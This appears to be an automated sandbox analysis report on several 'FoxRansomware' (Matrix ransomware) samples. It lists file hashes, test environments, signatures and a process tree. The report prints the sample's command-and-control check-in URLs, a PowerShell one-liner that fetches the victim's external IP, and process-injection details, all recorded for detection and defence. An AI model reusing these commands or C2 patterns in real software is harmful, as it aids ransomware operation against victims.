Overview
overview
10Static
static
FoxRansomw...65.exe
windows7_x64
10FoxRansomw...65.exe
windows10-2004_x64
10FoxRansomw...a7.exe
windows7_x64
10FoxRansomw...a7.exe
windows10-2004_x64
10FoxRansomw...20.exe
windows7_x64
10FoxRansomw...20.exe
windows10-2004_x64
10FoxRansomw...0b.exe
windows7_x64
10FoxRansomw...0b.exe
windows10-2004_x64
10FoxRansomw...53.exe
windows7_x64
10FoxRansomw...53.exe
windows10-2004_x64
10FoxRansomw...b1.exe
windows7_x64
10FoxRansomw...b1.exe
windows10-2004_x64
10Analysis
-
max time kernel
167s -
max time network
167s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
01-02-2022 08:39
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-en-20220112
windows10-2004_x64
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-en-20220112
windows10-2004_x64
General
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Target
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
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Size
1.2MB
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MD5
607d292bdcdde297252e002e613282ae
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SHA1
0161d2dd582d064f7e7f50ccb43478ff0884916a
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SHA256
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65
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SHA512
2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
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Matrix Ransomware 3 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc HTTP URL 29 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=RIBCQUHQ|Admin&sid=jtSnwQWF4cktXska&phase=START HTTP URL 160 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=RIBCQUHQ|Admin&sid=jtSnwQWF4cktXska&phase=[ALL]47894722E347F968 HTTP URL 563 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=RIBCQUHQ|Admin&sid=jtSnwQWF4cktXska&phase=47894722E347F968|4826|4GB -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
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Executes dropped EXE 1 IoCs
pid Process 1752 NWKFHh6G.exe -
Sets service image path in registry 2 TTPs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\U: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Q: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\N: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\I: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\G: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Y: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\P: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\O: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\M: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\L: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\F: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Z: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\T: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\R: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\K: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\E: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\W: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\V: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\S: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2436 powershell.exe 2436 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2436 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3560 wrote to memory of 3364 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 56 PID 3560 wrote to memory of 3364 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 56 PID 3560 wrote to memory of 3364 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 56 PID 3560 wrote to memory of 1752 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 58 PID 3560 wrote to memory of 1752 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 58 PID 3560 wrote to memory of 1752 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 58 PID 3560 wrote to memory of 1916 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 63 PID 3560 wrote to memory of 1916 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 63 PID 3560 wrote to memory of 1916 3560 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 63 PID 1916 wrote to memory of 2436 1916 cmd.exe 65 PID 1916 wrote to memory of 2436 1916 cmd.exe 65 PID 1916 wrote to memory of 2436 1916 cmd.exe 65
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKFHh6G.exe"2⤵PID:3364
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKFHh6G.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKFHh6G.exe" -n2⤵
- Executes dropped EXE
PID:1752
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1Bb9KSrM.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 526a88188122d0e8ff4bb5b45e63d751 usKK10gzFUaaKekVHlVCEA.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:2816